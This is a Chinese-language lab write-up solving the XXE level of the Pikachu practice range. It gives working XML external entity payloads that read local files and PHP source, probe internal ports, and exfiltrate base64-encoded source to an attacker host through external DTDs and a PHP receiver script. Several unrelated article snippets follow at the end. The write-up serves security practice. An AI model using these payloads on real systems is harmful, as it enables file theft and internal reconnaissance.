Pikachu-xxe (xml外部实体注入漏洞)过关笔记

news/2024/11/30 4:53:07/

Pikachu-xxe过关笔记

    • 有回显
      • 探测是否有回显
      • file:///协议查看本地系统文件
      • php://协议查看php源代码(无法查看当前网页代码,只能看别的)
      • http://协议爆破开放端口(两者的加载时间不同)
    • 无回显
      • 第一步
      • 第二步
      • 第三步
    • 运行结果

这一关包含了xxe漏洞,可以练习使用不同注入方法过关
在这里插入图片描述

有回显

环境配置: win10物理机搭建phpstudy

探测是否有回显

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe "chuan" > ]> 
<foo>&xxe;</foo>

在这里插入图片描述

file:///协议查看本地系统文件

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" > ]> 
<foo>&xxe;</foo>

php://协议查看php源代码(无法查看当前网页代码,只能看别的)

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/pikachu-master/vul/rce/rce.php" > ]> 
<foo>&xxe;</foo>

http://协议爆破开放端口(两者的加载时间不同)

<?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]> 
<foo>&xxe;</foo><?xml version="1.0"?> 
<!DOCTYPE foo [    
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]> 
<foo>&xxe;</foo>

无回显

环境配置: 攻击机为虚拟机kali,ip为192.168.181.129; 靶机为win10物理机,ip为192.168.181.1
物理机上搭建phpstudy,使用kali通过网页访问物理机搭建的网站(如下图),最终目标是获取物理机网站下的文件。

讲讲思路先吧。
虽然它有回显,但我们假装无回显好吧(懒得改代码了),所以就不能像上述操作一样直接从页面中看到返回的结果。
因此我们要转变下思路,既然无法直接看见结果,那我们就让目标网站主动将结果发给我们,然后我们就可以接收网站的传参,最后获取结果。
思路有了,那么该如何实现呢?
第一步先在输入框里传入xml代码,使得网站主动访问我们的payload;
第二步在payload里写入获取目标信息,以及发送信息的代码
第三步就是在我们自己的网站上新建一个接收信息的文件,等待目标网站主动给我们发信息就o了
思路讲完了,接下来是代码时间~

在这里插入图片描述

第一步

在输入框里传入xml代码,使得192.168.181.1主动访问192.168.181.129网站上的外部实体dtd文件(两种写法,结果一样一样的)

<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://192.168.181.129/test.dtd">
%dtd;
%print;
%send;
]>
<?xml version = "1.0"?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/index.php"><!ENTITY % dtd SYSTEM "http://192.168.181.129/test1.dtd">%dtd;%payload;%send;
]>

第二步

将写有payload的dtd文件写入kali网站目录,能访问到就行
以下是两种dtd文件写法,分别对应以上两种不同的xml提交代码(也是写法上有一丢丢不同,原理一样)
都是将查找到的php源码信息进行base64编码后作为参数传入data中

以下是我找的相关资料

在 HTML中,某些字符是预留的,例如小于号「<」、大于号「>」等,浏览器会将它们视作标签。如果想要在HTML中显示这些预留字符,我们就要用到字符实体(character
entities)。我们比较熟悉的字符实体有空格「 」,小于号「<」,大于号「>」等。这样的格式比较语义化,容易记忆,但其实字符实体有其他的格式:
/ ~ ~ ~

numeric character reference,数字取值为目标字符的 Unicode code point;以「&#」开头的后接十进制数字,「&#x」开头的后接十六进制数字。
/ ~ ~ ~
&#37 &#x25 都为 %

test.dtd


<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/index.php">
<!ENTITY % print "<!ENTITY &#37; send SYSTEM 'http://192.168.181.129/recive.php?data=%file;'>">

test1.dtd


<!ENTITY % payload"<!ENTITY &#x25; send SYSTEM
'http://192.168.181.129/recive.php?data=%file;'>

第三步

下面是用于接受发送数据的recive.php,也是写入kali机的网站。因为dtd文件使用get方法传参,所以只需要接受GET参数并保存到get_data.txt里面就好了。

<?php
// 检查请求方法是否为POST
if ($_SERVER["REQUEST_METHOD"] == "GET") {// 获取POST请求的数据$postData = $_GET['data']; // 'data'是GET请求中的字段名,可以根据需要修改// 如果数据非空,将其保存到文件if (!empty($postData)) {$fileName = "get_data.txt"; // 文件名,可以根据需要修改$file = fopen($fileName, "a"); // 打开文件,以追加模式写入if ($file) {fwrite($file, $postData . "\n"); // 写入数据fclose($file); // 关闭文件echo "数据保存成功!";} else {echo "无法打开文件进行写入。";}} else {echo "未收到有效数据。";}
} else {echo "只接受GET请求。";
}

运行结果

代码到这就结束了,下面是运行截图

就是不知道为啥这里一直显示失败,但我的确又是得到最终结果了=_=,不管了

在这里插入图片描述

kali网站路径下成功得到了一个get_data.txt文件,里面是index.php源码的base64编码,直接解码一下就好了
在这里插入图片描述

以下是我用wireshark抓包抓来的,可以看见物理机和kali之间互相请求了两个来回才完成这次攻击,下面我简要记录一下请求的内容
在这里插入图片描述

第一次请求没啥好看的,就是把kali把装有xml代码的数据包发给物理机
在这里插入图片描述
第二次请求,物理机解析了xml代码后主动访问kali网站上的test.dtd文件
在这里插入图片描述

第三次请求,kali向物理机传入payload
在这里插入图片描述

第四次请求,物理机解析dtd文件后将结果放入data参数中传给kali
在这里插入图片描述
很清晰的过程
o了 : )


http://www.ppmy.cn/news/1129199.html

相关文章

Python获取Window系统注册表安装的软件,再卸载软件

Python首先获取Window系统注册表安装的软件,再根据软件文件名称和卸载字符串进行卸载软件。 main.py # -*- coding: utf-8 -*- import get_reg_softwareif __name__ == __main__:# 获取所有安装的软件名称softwares = get_reg_software.get_software()print(softwares)# 逐项…

Baumer工业相机堡盟工业相机如何通过BGAPI SDK设置相机的图像剪切(ROI)功能(C++)

Baumer工业相机堡盟工业相机如何通过BGAPI SDK设置相机的图像剪切&#xff08;ROI&#xff09;功能&#xff08;C&#xff09; Baumer工业相机Baumer工业相机的图像剪切&#xff08;ROI&#xff09;功能的技术背景CameraExplorer如何使用图像剪切&#xff08;ROI&#xff09;功…

Qt地铁智慧换乘系统浅学(四 )实现添加线路,添加站点,添加边 并且存储到本地txt文件

玩的就是添加 添加前的构思界面设计tabWidget添加线路界面添加站点界面添加边界面 代码实现添加线路思路连接槽函数槽函数 添加站点思路连接槽函数初始化combox槽函数更新容器函数 添加边思路槽函数 和代码 注意 添加前的构思 假设 现要添加一个线路 &#xff1a; 9号线 如果…

AI算法+视频技术助力构建智慧城管解决方案,实现城市管理精细化

一、背景分析 物联网、大数据、移动互联网等技术的日新月异&#xff0c;城市管理对信息资源需求的日益提升&#xff0c;广大市民对政府服务新的诉求&#xff0c; 智慧城管正面临千载难逢的发展机遇。 发展历程&#xff1a; 1&#xff09;数字城管&#xff1a;城市管理机制的…

2.物联网射频识别RFID

一。RFID无线识别的原理 1.RFID系统无线通信基本原理 标签&#xff1a;&#xff08;卡&#xff09; 读写器&#xff1a;&#xff08;刷卡机&#xff09; 无源RFID标签如何取电 2.读写器与标签之间的无线电波交互方式 补充&#xff1a;RFID按频段分类 我们可以看到工作原理是电…

贝锐蒲公英异地组网:无需专线,也能解决无公网固定IP问题

为了简化部署、运维实现更高的易用性&#xff0c;或是满足用户的特定需求&#xff0c;基于SD-WAN全自研的贝锐蒲公英异地组网拥有众多实用功能。这些功能涵盖网络、用户交互等诸多方面&#xff0c;包括&#xff1a;旁路组网模式、自定义网络出口/虚拟IP/DNS域名解析、WebVPN、企…

WebGL笔记:WebGL中绘制圆点,设定透明度,渲染动画

WebGL 绘制圆点 基于片元着色器来画圆形片元着色器在屏幕中画图是基于一个个的像素的每次画一个像素时&#xff0c;都会执行片元着色器中的main方法那么&#xff0c;我们就可以从这一堆片元中(n个像素点)找出属于圆形的部分片元的位置叫做 gl_PointCoord (一个点中片元的坐标位…

计算机视觉 回头重新理解图像中的矩

一、人类的欲望 图像中的矩是一个十分古老的话题,这个东西的出现始于人类的欲望,想要找到一种自动且强大的图像分析方法。 比如我们要在图像中识别某一个物体,而这个物体在不同的成像条件下,表现出的高矮胖瘦方向位置颜色都不可能完全一致,这就为识别带来了巨大的困难,但…